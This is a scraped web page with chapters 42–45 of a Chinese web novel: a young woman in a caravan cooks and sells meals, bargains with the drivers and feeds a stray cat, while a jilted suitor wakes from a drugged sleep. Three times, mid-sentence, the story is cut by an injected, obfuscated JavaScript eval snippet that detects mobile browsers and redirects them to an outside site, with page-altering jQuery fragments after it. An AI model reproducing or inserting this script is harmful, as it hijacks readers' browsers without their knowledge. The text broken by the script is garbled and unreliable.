大大一片空地，只有三间茅草房，老头迎着车把势们进了堂屋，她们透过打开的门扉，能看到摆了满满一桌子的饭菜。 老太婆，杵着拐，在门口招揽生意，卖日常的米粮，指着房子侧面的菜地，萝卜白菜常见的菜蔬都有，需要客人自己去地里现拔。 许是两人年纪大了，做一桌子饭菜，已经耗费了全部的精力，为旅客熬了桶粥，和一篮子炊饼。 大家你看看我，我看看你，知道姜家没米了，认命的去买了碗粥，和个炊饼，价格么，依旧二十文，爱要不要。 至少是热乎的，比干粮好吃。 姜宁在车架旁边，占了块空地，和苏慎一起，扎好昨日一样的帐篷，扶姜氏趴下休息，开始生火做饭，她们没米了，可是有面啊。 42. 第 42 章 姜宁把锅洗干净，买了一桶井水烧着，让苏慎在一旁看火。 她自己去菜地里摘了个直径半寸左右的绿皮姜柄瓜，一把四季豆，一支青莴笋。 从菜园子里拔出来的菜，新鲜带着草木的清香，指甲稍微碰到，就是个印子，找老太太结账，花了三十文。 她肉疼得老叶子也带了回来，修剪下来喂小鸡。 忒贵了。 洗干净素菜，她把篮子的麻雀杀了，舀了一筒热水褪毛后，开膛破肚去掉内脏只留下肝脏清洗干净，有些绒毛，交给苏慎拔，他手小，正适合。 清理干净的麻雀再次抹上少许细盐和胡椒粉腌制。 锅里水沸腾起来，装了三个竹筒，留着明日喝，半盆水放凉洗脸，重新装半锅水，四季豆撕掉筋，折成两段入锅炖煮，四季豆熟后，再把瓜去心连皮切块放入，土豆去皮滚刀放入，敲一块黄姜，盖上锅盖小火焖煮。 她从粮袋里挖出一碗白面，先放半勺盐拌匀，一半热水，一半凉水揉成面团，要稍微硬一些，此时锅里的菜都熟了，把面扯成面片，丢入沸腾的锅中。 面快透心的时候，舀一勺雪白的猪油，一勺盐调味即可。 煮豆子的时候，姜宁手脚麻利，把青莴笋切成细丝，撒了点盐，一点辣椒面腌制，可惜了，没有酱油麻油。 在煮面的同时，她撤出两只柴火，捡了几个石头围城一圈，在旁边搭了个小火塘。 削了四支长木棍，腌制好的麻雀放在火上烤，需要不停的翻转手里的棍子，让热气均匀的落在麻雀全身，不一会，皮面滋滋的冒油，油脂灼烧特有的香味，四散飘开。 姜宁掏出薛厨子送的调料包，捡出十颗茴香籽，两个花椒，在两个石头上磨成细粉，一面烤，一面撒在烤窜上，最后，撒一点辣椒粉，瞬间，这附近都是浓郁的麻辣鲜香味。 最后一串单只的麻雀，没放佐料，留着给那只不晓得有没有跟上来的猫咪。 晚饭便做好了，每人一碗面片汤，一串麻雀，配着脆生生的凉拌青笋。 陆婆子捧了钱凑上来，红着脸道：“满满一锅，你们吃不完，分几碗给我们吧。” 姜宁笑道：“陆大娘，那些麻雀我们自己不够吃，菜里没肉，你要觉得好，给我十文一碗就是。” 没有肉，用的是雪白的猪油，上好的白面，占大便宜了啊。 陆婆子忙不迭说好，数了五十文递给她。 一个瓜，一把豆子，土豆，一碗面，看着少，煮在一起便多了，满满一锅，她们吃不完。 她添了两碗给姜氏，一碗给苏慎，自己留了一碗，剩下的满满盛了五碗，双手捧给陆婆子，又捡了个小碗，分了一半青笋丝给他们。 锅里大概余一碗的量。 后车三角眼妇人啃着自家硬邦邦的干粮，嘴里寡淡，恨恨灌一口水，放下碗凑过来：“锅里的卖我了呗，我给你五文，不过，你必须送一只麻雀，不然我不要了！” 五文？ 送一只麻雀？ 不然，我不要了？ 姜宁和姜氏愕然对视一眼，以为自己幻听了。 姜氏嗤笑：“不好意思，我胃口大，这些不够吃，你拿着你的五文，去别处买吧！” 推出的旅客管事周掌柜，恰好来询问，今晚值夜的人。 听到这话，噗嗤一声笑出来：“查嫂子，你可别让人笑话了，她们家的面片汤，成本十文打不住，还送麻雀，城里一只烤麻雀二十文，何况在这鸟不拉屎的地界！” 他利索的掏出五十文递给姜宁：“昨日便听她们说，你做饭的手艺好，今日可让我赶上了。来一碗面片，一只麻雀！” 他眼睛盯着木棍上滋滋冒油焦黄色的麻雀，鼻尖晕绕着那股浓郁的香味，忍不住咽了下口水。 姜宁哎了一声，锅里的面片汤盛给他，又分了一半青笋丝。 挑了最大的两只麻雀棍子，双手递给他：“周叔，麻雀费些功夫能抓到，不值当什么，实在是调料价贵。 您为大家伙出力忙碌，本不应该收您的钱，实在调料价贵，我们娘几个就靠这点东西，换几个铜子买粮糊嘴，收您个成本价，多谢您！” 周掌柜嗯了一声，他本想着面片汤十文，麻雀城里二十，这里翻倍四十，合计五十，哪知人家和城里一样的价，话里话外又把他捧得高高的，甚是愉悦，夸赞：“没事，没事，困难是一时的，小伙子好好干，以后开了酒楼，我来捧场！” 他就喜欢这样会来事的人，互相撑场面，你乐我乐大家乐。 她们说话的功夫，陆家三儿子已经吃完面片汤，早盯着麻雀流口水，他凑到姜宁面前商量：“姜兄弟，你给我一只麻雀尝尝，我替你值夜。” 姜家和陆家总共值夜五天，她们白日已经商量好，每家人两天，最后一天同时值夜，谁都不吃亏，谁也不占便宜。 姜宁闻言，干脆给了他三只：“一只一夜，值三夜，干么？” 干，必须干。 陆家小儿子心花怒放，接过三只麻雀，奔回自家的帐篷，和家人分食。 他们家兄弟三人，出一人值夜小问题，最后一夜本来就要值，占了人家的便宜。 周掌柜看他们商量，端着碗，坐在一旁吃起来，先尝了最让人嘴馋的烤麻雀。 一口下去，焦香酥脆，肉嫩骨酥。 外皮经过柴火的炙烤，皮下油脂在高温下析出，表皮金黄酥脆，油润，混着了调料的咸香，美味十足，比城里酒楼做的，更添了些野味。 麻雀体型很小，里头的肉少却嫩，满满的鲜味。 啃完肉丝，麻雀的小骨也是酥的，被柴火炙烤后，可以连着肉一起嚼碎吃掉，嘎吱嘎吱，非常满足。 最让人惊艳的是，姜宁保留了麻雀内的肝脏，烫呼呼的，轻轻一咬，绵密鲜咸在口里爆开，味道浓郁，直冲天灵盖，实在上头。 麻雀吃完许久，余韵缭绕，他盯着烤架上余下的两只麻雀舔了舔唇，那是人家留着自己吃的，便没开口买。 明天吧，明天他也捉些麻雀，请她帮忙烤。 而后端起碗吃面片。 姜饼瓜墨绿色的皮，淡黄瓜肉绵软清甜，入口即化，青绿的四季豆豆香浓郁，土豆金黄沙糯，面片弹韧有嚼劲，几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112125|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种食材混合在一起，互相交融，丝滑甘甜，菜香醇厚，再配一口脆生生清爽凉辣的青莴笋丝，啧，美的很，不够吃啊。 他吃完后看一眼人家空了的锅，意犹未尽。 罢了，明晚早些过来，厚着脸皮蹭食。 拿着他们车队的值日名单施施然去下一趟车。 三角眼的查嫂子，恨恨的啃着自家做的干饼，又硬又伤牙。 她带着两个儿子去叶城投亲，两个儿子嫌弃干饼不好吃，她找姜宁去买，被周掌柜一顿排揎，气正不顺。 不就是个烤麻雀么，有什么稀奇的，明日他们逮一些自己考，也卖钱。 另有人找姜宁询问买面片汤，姜宁笑着拒绝：“实在带的面快没了，不够做，望大家伙理解。” 大家悻悻而去。 姜宁私下和姜氏商量：“后头不知道什么光景，留着面自己吃吧。” 昨日卖的多，车队里已经有人眼红，说话阴阳怪气带着刺，她们三人，一病一弱一小，看起来好欺负的样子，低调些比较好。 姜家分食了一只麻雀，剩下一只没放调料烤熟的麻雀，她扯了个干净的叶子包好，钻进了旁边的树林里，寻了一个高的树干，把麻雀放了上去。 不知道猫咪有没有跟来。 若是跟来了，它定然在附近，闻到香味会现身，明早再来看一眼。 & 车队不知道的是，他们车队离开，村子后面一间塌了个洞的茅草房子里，三个闲汉聚在一起喝酒吹牛，一个猥琐的男子抱怨：“这趟旅人真是狡猾，好多家搭了帐篷，里头黑漆漆的，不敢贸然而入。” “别提了，不晓得哪里来的野猫，大半夜不睡觉乱叫，闹醒了人，害得我提前收手，收成不到往日的五分之一。” 另一人痛骂：“你们算什么，我好不容易顺了只铁锅，能换几个铜子，那只破野猫，逮着我咬！” “我丢了铁锅去打它，它又跳到房顶上窜，跟本追不到！我去捡铁锅，臭猫便来挠我，害得我丢了铁锅回家。” “等今晚天黑，我寻到那野猫，定将它打死，剥皮炖肉，以消我心头之恨。” 最后骂人的汉子鼻子上长了颗痦子，面向凶狠，露出手腕上几道深红色的疤痕，咬牙切齿痛骂。 被他们蛐蛐的野猫，这会子趴在姜宁旁边的树林里，黑色的爪子，扒拉开绿色的树叶，露出里头小小的肉。 它鼻尖轻微溴了溴，味道鲜美香浓，满意歪了歪头，正要开吃，忽而，三角形的耳尖竖了起来，它趴在树上一动不动，弓身眯眼，盯着走进的人。 查氏瞄见姜宁躲躲闪闪进了树林，不晓得做什么见不得人的勾当，她悄悄尾了进来，待人走后现身。 看清她弄了只麻雀放在树上，不一会便钻出只皮光滑水的狸花野猫，讥笑姜宁脑子有病，好好的肉，自己不吃，包来喂野猫。 她眼珠一转，姜宁舍不得吃，正好便宜她。 闻着香味，馋老半天了。弯腰捡了跟小树枝，挥舞手臂：“我倒要尝尝，二十文一只的麻雀，是不是金子做的！ 滚远点，臭猫！” 43. 第 43 章 姜宁钻到帐篷中，点着蜡烛，帮姜氏换药。 姜氏低语：“这一日不怎么疼了，就是痒。” “嗯，都结疤了，你千万不要抓，忍着些，免得伤口破皮。”姜宁交代，知道姜氏是个闲不住的性子，哄道：“外婆家是不是有田地，若是没有，卖马车的钱，我们换些地种吧。 田地里阿慎和我不太会，你要一个人操劳，这些日子多养养，莫要留下后遗症。 到了外婆家，我们就指望你了。” 她已经想好了，农忙种地，平时摆个小摊弄点闲钱吃吃喝喝，苟到男女主走完剧情。 换过药，姜宁去林子边泼水，撞见三角眼的查氏气急败坏跑回来，头发乱轰轰的，袖子上破了几个口子，扯开的线头凌空飞舞，裤子沾满草屑灰尘，好似在林子里打了个滚。 姜宁暗道晦气，泼了水躲回自家帐篷。 一夜无话，天亮时分，她被系统播报闹醒。 收获心疼值180。 收获心疼值30。 姜宁暗道魏婆婆的蒙汗药霸道，胡光骏睡了三天才醒，发现她牵走马车，心疼钱财，该！ 姜宁料想不错。 小树林前面的草地上，胡光骏整整睡了三日，药效过了。 初升的阳光照在他眼睛上，把他从旖旎的梦中唤醒。 梦里，他和他的阿宁抵死缠绵，恩恩爱爱，他完全被掏空了。 醒来后，发现，他们，不，他独自一人躺在草地上，后面便是几个坟堆，他的阿宁消失不见。 若不是面前几个空了的菜盘，身下的垫子，他都要怀疑，自己被坟墓中的主人捉去做女婿。 他焦急左寻右找，不仅阿宁不见了，他的马车也无影无踪。 他咬牙切齿，一定是苏宁，驾着马车跑了，这个没心没肺的女人，已经是他的人了，依旧不甘心老老实实在他身边。 胡光骏气得浑身发抖，牙齿咬得咯吱作响，站立不稳，一时只觉天旋地转，昏倒在地。 要说他平日身体没这么糟糕，因服用蒙汗药和暖情酒，两样药双管齐下，不吃不喝昏睡三天，又在梦里挥霍肾元，现在虚得软脚虾一个。 过了半刻钟，他悠悠醒来，手掏向怀中，摸到颗饴糖，含到嘴里，随着甜味咽下肚，恢复了一点点力气。 摸糖的时候，带出怀里的信。 是普通人家用草纸，上头用炭笔，缺胳膊少腿写了几行字。 阿骏： 你看见这信的时候，我已经揣着我们的孩子，和母亲弟弟，远走他乡。 因阿娘腿脚不便，借你的马车一用。 多谢你，送我金簪，给我留了念想，我会把它传给孩子，作传家宝一直保存，纪念我们的情谊。 我知你和高家小姐，一见倾心，看你的心渐渐偏到别人身上，我实在痛彻心扉，只好一走了之。 莫要找我，我怕我忍不住心中的嫉妒，找高家小姐同归于尽。 祝你们，早生贵子，永结同心。 断肠人苏宁留 有几处地方，晕染开来，可以想见，她是一面哭，一面写。 胡光骏先是暴怒肉疼，这混账竟裹挟了他的私财一跑了之，现钱三十贯，金簪三十贯，马车五十贯。 现钱他找同僚拆借的，原打算走个过场，金簪母亲私房里偷的，这些都是要还的，还有，马车，上下值要用，若是爷娘知道他弄丢了，必定大发雷霆，一顿板子少不了的。 他心口痛得一颤一颤，几乎没昏过去。 而后，又恍然大悟，后怕不止。 难怪她一直闹别扭，原来已经知道他和高明珠的来往，所以干脆一走了之。 这么懂事，心中不禁对她又疼又恨。 不过，她现在应该有了孩子，跑不掉的，等他娶了高明珠，便把她抓回来。 现在把人弄回来，依她闹腾的性子，必定要去找高明珠的麻烦，这时捅开，他飞黄腾达的计划，便不成了。 算了，这些饥荒，他先想办法糊弄过去，反正钱财花在自家儿子身上，跑不掉。 至于他为什么这么确定是儿子，因为上辈子，他们成婚当晚，便有了孩子，十月后呱呱坠地个男娃。 他坐在草地上休息了半响，无奈接受自己被苏宁弄走一百贯，而且不能报官，不能去找她麻烦的现实，咬牙切齿吞下这个哑巴亏，阴沉着脸慢悠悠走回城。 到了门口，数了十个铜子，找看牲口的看守打听，居高临下问：“可有可见一驾九层新的马车，马匹红棕色，脑门上有白色？” 看守坐在地上，捡起铜钱，吹了吹灰，皮笑肉不笑：“自然是看见了的！” 说完看着他。 胡光骏等了一会，对方但笑不语。 没奈何，又丢了十文钱：“去哪了？” 看守不恼，乐呵呵捡起钱：“往水城方向去了！” 胡光骏懵了，水城，离此千里之远的水城，她跑这么远？ 他垂头丧气离开，看守吹了吹铜钱上的灰，低骂：“看不起谁呢，傻子！” & 坐在驴车上，摇摇晃晃的让人昏昏欲睡。 姜宁精神抖擞，查看自家系统面板，心值多了二百一，加上原来剩余的三十二，余二百四十二，待机用了一点，现在余241点。 第三栏多子丹等商品变亮，可以查看。 她顺手点开多子丹，是一个球形小木盒，里头密密麻麻许多小药丸，如同石榴一般。 配着文字说明：多子丹，使用后从细胞基因结构改进，让独胎变双胞胎，双胞胎变四胞胎，让你收获双倍的子代，双倍的快乐！ 副作用：本产品有效期一个月，孕期需要一直服用，直到诞下子代，若孕期断用本药，基因改造失败，子代夭折死亡。 本药保证细胞分裂成功，需宿主补充足够的能量，否则，子代有夭折的风险，请宿主谨慎使用。 除了第三栏商品变亮，第二页也变亮了，有一个按钮，心值够开启第二页辅助功能，需花费一百心值，是否要开启？ 她也好奇，第二页是什么，点了个是。 心值少了100，只剩下141点。 而后屏幕变成个加载条，一盏茶的时间，才加载了百分之八。 额，…… 就说这个系统是个瑕疵货，眼巴巴等半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116300|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天，开启个页面，要加载到不知什么时候。 姜宁懒得搭理它。 退出心神，和苏慎一起抓麻雀。 今日大家精神了许多，一来昨夜睡觉的时候，家家户户搭了帐篷，避免了蚊虫的干扰，二来看见姜家晚饭的加餐，有样学样，逮起麻雀来，准备晚上也烤个麻雀，改善伙食。 各家工具不一，有和姜家一样，用簸箕的，也有用箩筐的，当然，也有空手套麻雀的，车队前头有一户人家，从行李里翻出渔网，抓麻雀老厉害了。 因此，姜宁和苏慎，一整日，只诱补到一只麻雀。 晚饭的时候，查氏瞅着她家孤零零的麻雀，讥笑：“一只，还不够赛牙缝呢！” 姜氏哂笑：“是不够塞牙缝，至少有肉吃，不像有些人，上蹿下跳一整日，麻雀毛都没摸到一根！” 查氏气得牙痒痒，掐着腰你你你半天。 昨日好歹还有煮好的粥卖，今日落脚的地方，是路边一条小河畔，没有人烟，什么都得自己动手。 姜宁庆幸昨日没有把面卖掉，不然自家得饿肚子。 搭好帐篷，姜宁正要点火做饭，没地方引火，用打火石，打了半天，还没点着，起身张望，想到其他人家那里借个火。 正说着，周掌柜急匆匆过来寻她。 “姜老弟，车把势们找我，找个人打下手做饭，你去帮个忙搭把手。” 姜宁看向姜氏，姜氏杵着棍子摆摆手：“你去你去，我能走几步路了，阿慎也在，没问题！” 姜宁嗯了一声，嘱咐弟弟照顾好阿娘，跟着周掌柜去到最前头，车把势们的帐篷处。 掌勺的是敲锣打鼓的车把势领头赵领队，看他一眼笑道：“我知道你，你是牛二车上的，看不出来，小小年纪，还会做饭，不错不错，小伙子！” 赵大队长客气的夸他。 姜宁腼腆笑笑不说话。 一旁的周领队念念不忘：“你还问我大家伙抓麻雀作甚，因为昨日姜家抓了几只麻雀烤了吃，我有幸尝过，那味道比城里酒楼的还要香上三分，你们躲在屋里没闻到味，实在可惜。” 赵领队哦了一声，眉毛高高的挑起。 找人帮忙打下手做饭，没有工钱，是打算白嫖，所以他不要钱一般的夸对方，不想，真是个会做饭的。 昨日烤麻雀的味道，他在屋子里都闻到了，味道差不了。 他们前两日吃的饭菜是店里订好的员工餐，不吃白不吃，味道嘛，就那样。 接下来五日歇脚的地方，都是前不着村，后不着寨，没有人烟的地界，店里给了餐补，他全换成了粮食带着，队伍自己生火做饭，赶了一天车，累的慌，没人愿意动，他当着队长，没法子，兜了这个差事，要赶车，要勘测周围的情况，要处理意外，要照顾驴子，杂事不断，苦不堪言。 若是这个小兄弟菜做得味道好，他可以做主，和兄弟们商量，凑点工钱，聘请他，以后几天他也可以腾出来，休息休息，实在累得慌。 这些念头在他脑海中一闪而过。 赵队长指了指帐篷里一堆麻袋：“米面菜蔬都有，你看着做一道菜，我让兄弟们尝个味道！” 44. 第 44 章 姜宁翻开麻袋，两大袋米，一袋子菜：青椒土豆西红柿姜葱蒜等耐放常见菜，还有一条抹了粗盐的五花肉，看着还算新鲜，应该是昨日从老婆婆家那带的。 调料只有粗盐和菜油。 她和赵哥说了一声，回自家帐篷里，抱了调料，猪油来。 先打水洗干净五花肉，分成比拳头大些的块状，冷水下锅，加入姜片和葱段，一勺胡椒粉去腥，生火煮肉，能把筷子恰好扎透肉皮时，夹出肉块放凉，再切成菜刀刀背那么厚的厚肉片。 切的时候每一片上都要有肥有瘦有皮。 热锅烧一勺猪油，倒入肉片小伙煸炒，肉片微微卷曲时候。 放入姜片，蒜片，豆瓣酱翻炒出红油，给肉片上色，最后放入青椒翻炒几下断生，撒少许盐调味，半勺白糖添鲜，翻炒均匀，出锅装盘。 赵领队已经把米饭闷好，看到满满一锅酱红色的回锅肉，吞了吞口水，招呼车队兄弟们过来吃饭。 每人一大海碗饭，上头盖上一锅铲青椒回锅肉。 众人兴致不高的回来，不敢相信的眨眨眼睛，对比头儿往常所有菜蔬一锅炖，无论什么蔬菜，变成颜色诡异烂糊糊的做法，他们今日看到了什么？ 雪白的米饭，上头是油亮的肉片，碧绿的青椒，酱红色的汤汁，淡黄的姜片，不用队长催促，他们每人抢走一碗。 赵领队端起自己的碗，先尝了一片肉，五花肉片的油脂已经被逼出，只有焦香的口感，没有丝毫的油腻，肉质细腻柔滑，并且带着辣椒豆鼓的独特芳香。 青椒脆而不辣，带着一点甘甜，最让人惊艳的时酱汁，沾染了油红色酱汁的米饭，咸鲜交融，脂香醇厚。 除了米饭有点米心杠牙之外，好吃得像做梦一般。 不用问，看大家空荡荡的碗，便知道兄弟们很满意姜小兄弟做的饭菜。 赵领队咳嗽一声道：“是这样，我发现牛二车上的，姜小兄弟做饭很是有一手，你们也尝过了，我们凑点钱作工钱，这几日的饭菜，让他帮我们料理，如何？” 牛二接话：“每人凑五文一天的话，我愿意。” 若超过这个价钱，那还是吃烂糊糊吧。家里负担重，上有老下有小，一大家子等着吃饭。钱花在这里，其他地方就没了。 一人五文，二十人，便是一百文一天，不错了。 赵领队看向姜宁：“你觉得怎么样，要不和你娘商量下？” 姜宁笑笑道：“各位叔叔哥哥，我有个不用你们出钱的主意，你们先听听给可以整？” “我看了您们的饭量，估摸着一顿饭需用六公斤米，我们这样走，约莫七八天到叶城，大约消耗100公斤米，可是我看着两个麻袋，应该有二百多公斤米，我们可以把余下的粮拿出来做饭，卖给队里的客人么？ 一来，有的客人匆忙赶来坐车，没有买干粮，或者没带煮饭的家什，他们有口吃的，不至于饿着肚子。 二来有的客人干粮吃腻了，肠胃遭不住，想口热乎的。 三来，这些粮食堆着车上，挺重的，驴子拉着辛苦，给它们减减重。” 众人听到不用交钱，就能改善伙食，心中已经同意了八成。 姜宁接着道：“当然，也有弊端，万一耽搁了行程，米吃完，还没到地方，大家伙可得饿肚子了。 而且，没有肉，都是些素菜，不能卖高价，大家分到的钱，可能有点少。 诸位叔伯哥哥都比我懂得多，你们决定，我都可以。” 姜宁抛出方案后便笑眯眯的不吭声，任由他们自己决定。 大家七嘴八舌讨论：“后面的路况和这几日差不多，除非天降大雨阻路，不然，可以准时到地方。 这条路他们经常跑，剩余七天路程，五天在野外落脚，剩下的，可以在村子里借宿，预留六天米粮足够了。” 大家伙偏向卖饭，主要是不用自己凑钱，还能吃。 反正粮食放在那也是放着，不如卖了换钱。 下一趟回来，店里会发新的粮食。 赵领队道：“那就麻烦姜小兄弟卖饭。虽说钱少，我们提前商量下分配的方案？” 他们车队内部肯定平分，主要是和姜宁怎么分？ 姜宁把带来的东西揭开：“我凑两公斤烟熏羊排羊肉，半缸猪油，各种调料！” 大家看着她手中那包十全调料包，各种辛辣味道，扑鼻而来。 眼神瞬间不一样了，专业厨子才配的东西啊。 赵领队坐直了身子，多了分认真，想了想道：“留60公斤的米，应该足够我们吃了。余下的，都可以做成饭卖掉。 这点子肉，只够吃一天，余下几日的肉，我们来操心，你只管做饭，若赚到了钱，三七分账，不管多少，你拿三成，怎么样？” 他面上有些羞赧，好似在占小兄弟的便宜。 他们的米菜和对方的肉调料价格差不多，做饭仰仗对方的手艺，其实应该平分的，只是他们人有二十个，若是平分，到手里没几个子了。 姜宁算了笔账，她凑了羊肉，900文，调料看着一大包，一顿饭用一小点，后头五六天，200文尽顶了，猪油五公斤，做月饼剩下的，天气热，需要尽快吃完，外头买的话，约莫要300文，那就是1200文。 对方去掉六十公斤米，大约剩下一百五十公斤，得1200文，还有一袋子菜，约莫300文，但是，后面肉菜他们负责。 最主要的是，姜家和二十个，绝对强势的身强力壮车把势捆绑在一起，后面路上，谁要是不长眼，想踩她们娘三个，就得掂量掂量了。 赵叔绝对没想到，她看重的，不是他们手里的粮，而是他们这二十个强壮的威慑力。 不过谈条件么，漫天要价，就地还钱。 她摸着下颌道：“我那包调料花老鼻子钱了，五五分账，还有，我叫上我娘和我弟一起吃饭，若有人问起，需说，你们雇我做饭，每日发我三十文的工钱。” 赵领队装作没感受到兄弟们灼灼催促他答应的目光，压价：“四成，不能再多了，你娘你弟自是和我们一起吃。” 他熟练的画饼：“后头路上，我们试着下套，抓些野鸡野兔，你也练练处理野味的手艺。” 姜宁假装为难了一会，要求后头做什么饭菜，一切自己做主，对方答应，她愉快的同意，不客气的开始使唤人。 “好的，我们就这样说定了哈。麻烦赵叔去喊一嗓子，今晚出售羊肉焖饭，四十文一碗，只有四十份，每份送一碗滚烫的羊骨萝卜汤和一碟鬼火炉咸菜。” 姜宁哄着使唤赵队干活，另花费一只烤麻雀的代价，叫来陆家三儿子，陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122053|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大锤帮忙打下手，劈柴生火洗菜切菜。 陆大锤人如其名，力大如锤，长得高高瘦瘦，但性子有些棒槌，为了口吃的，跟在比他矮半个头的姜宁，屁股后面，姜哥长姜哥短，姜宁怀疑，若是给他三只麻雀，大锤会毫不犹豫叫他姜叔。 姜宁有些惆怅，她现在有一只猫，一个大锤要养，每日睁开眼便欠着两只烤麻雀。 不过很开心就是了，许是自己操心的事多，她就喜欢和这种头脑简单的人相处。 有了大锤帮忙，她把心思放到锅里，专心控制火候焖饭，不一会，锅里的香霸道的飘散了出来，可以吃饭啦。 得了车队卖羊肉焖饭消息的一些乘客，放下手中的干粮，早早围着赵队，排队交钱。 前日姜家小哥做的羊肉焖饭他们吃过，那个味道，回味无穷，可惜他家没米了。 今日托车队的光，能再吃一次，必须抢在前面，万一到后面又没了。 中午吃干粮，实在吃不不下去了，想买个热汤烫粥都没地买，幸好，车把势们考虑到他们的肠胃，弄了点饭菜，就是价格有点高，四十一份。 可是看见锅里的羊肉焖饭，又觉得值。 若前日的羊肉焖饭是茅草屋，今日的羊肉焖饭，便是青瓦房。 上头依旧是冒着油的烟熏羊肉，下头除了金黄的土豆，还有碧绿的青豆，橙红的胡萝卜丁，最下层依旧是金黄的锅巴。 配的汤是羊骨熬的萝卜汤，整整一大碗，还有一碟子下饭的鬼火炉。 钱包宽裕的，一人一份。 其实可以省着些，全家买一份吃，再自家配点干粮，也能吃饱吃好。 周掌柜便是钱包宽裕的，带着儿子，爷两个，一人一份。 用渔网抓麻雀的是渔民王家，便是囊中羞涩的。 夫妻两人，带着四个半大的孩子，最小的才三岁。 他们家世代养鱼卖鱼为生，王家父母偏心，分家只给王汉子分了半个鱼塘，哪里够养活家人。 夫妻两打听到，花城边有一大个天然湖泊，正适合养鱼捕鱼，便卖房卖地，举家搬迁到花城。 前路未定，不敢乱花钱，可是看着孩子吃干粮噎得直瞪眼，几日的功夫瘦得下巴能戳人，咬咬牙，来买一份饭菜，全家一起吃。 王汉子面上被太阳晒得黝黑，他从怀里掏出一包钱，数半天，数了四十文，依依不舍的递给赵队，想了想，缩回手道：“我们抓了二十三只麻雀，可以换饭么？” 烤麻雀，老香了。 赵队去问姜宁。 姜宁询问他：“你想怎么换？” 渔民王询问看热闹的周掌柜：“周掌柜，城里是不是二十文一只？” 周掌柜从自己碗里抬起头：“二十文一只，是烤熟的。活的，城里一般五文一只。” 渔民王哦了一声，小心翼翼道：“城里五文，你给我三文一只，可以吗？” 姜宁看了眼他网里活蹦乱跳的麻雀，笑着道好，请赵队数了六十九给他。 渔民王汉子喜滋滋露出白牙，哦，今日麻雀没有白抓，赚钱了呢。 欢快数了四十文给赵队：“麻烦要一份饭，萝卜汤多给一些！” 姜宁笑眯眯盛了满满一碗汤给他：“您小心端好，千万别烫到！”汤而已，加水进去熬，要多少有多少。 45. 第 45 章 收上来的麻雀，姜宁和大锤收拾干净，洗干净腌制好，开始烧烤。 加上自家的一只，二十四只，车队二十人，她家三人，大锤一人，刚好够分。 烤好麻雀，她数了二十只给赵队，请他分发给诸位车把势。 收拾干净锅碗，姜宁拿着麻雀，大锤端着一碗饭，一碗汤，回后头的帐篷。 到了地儿，大锤乐滋滋和姜宁告别：“姜哥，你明日记得喊我！” 姜宁无语，她明明没有大锤高，岁数也没他大，莫名其妙成了哥，罢了，这是大锤表达要当他跟班的一种方式。 查氏盯着大锤左手饭菜，右手羊汤，吞了口口水，嫉狠几乎要逸出来：“大锤，跟着劈柴洗碗干活，累了一整天，就给你一碗剩饭，你也太好打发了吧！” 大锤：“没有啊，还有烤麻雀呢！” 查氏无力的闭了闭眼，一时有些心灰意冷。 重点是麻雀么，重点是好打发！ 面前的不是个人，是个棒槌，根本接收不到她的挑拨。 陆婆子已经迎了上来，不乐意了，棒槌儿子只可以自己欺负，只可以姜小子使唤：“她查婶，你要有闲工夫，捡些干柴，弄点汤给你家孩子吧，别只会到处闲话惹人烦！” 查氏缩了缩脖子，嘀咕，傻子，给碗剩饭剩菜，就跟在后头当狗摇尾巴。 大锤辩驳：“那不是剩饭，是因为肉卖完了！好些人要便宜买，姜哥不愿意降价卖，叫我添回来吃，老香了！” 陆婆子按住激动的儿子，骂到：“我儿子力气多了用不完，喜欢跟着姜小哥后头，人姜小哥也愿意搭理我儿子，弄麻雀给我儿子吃。 还额外送饭菜，好油好菜做出来的，我们全家能跟着一起沾光喝热汤吃羊肉，尝美味，感激还来不及。 你个外人，知道个屁，再看见你对着我儿子唧唧歪歪，说人坏话，我撕烂你的嘴！” 作势来扯她头发。 查氏被吓得后腿几步，讪讪回自家帐篷。 姜氏自是听到动静，气的大掌在地铺上拍个不停：“那个长舌妇，但凡我好着，必定大嘴巴子抽她！” 姜宁劝导：“你好好养伤吧，和个不相干的人计较个什么劲！” 正说着，苏慎捧着巾子，喊她洗脸吃饭。 她用热水洗完脸，看着松毛地上苏慎摆好的三套饭碗，责备：“我那会让大锤送回来，你们先吃呗，等着我作甚，都冷了！” 苏慎夹了块萝卜给她，解释：“阿姐，你尝尝，不冷的，我看着你快回来，才放锅里热过！” 姜氏也道：“你辛苦一日，我们闲着，自然等你回来一起吃饭！冷了再热一下就行。” 姜宁心口热热的，哦了一声。家人等着她一起，真好。 她分了麻雀给姜氏和苏慎，自己的那只放到空碗里没动。 姜氏把自己碗里的麻雀夹到她碗里：“你吃这个，我不爱吃这东西，没几嘴肉！” 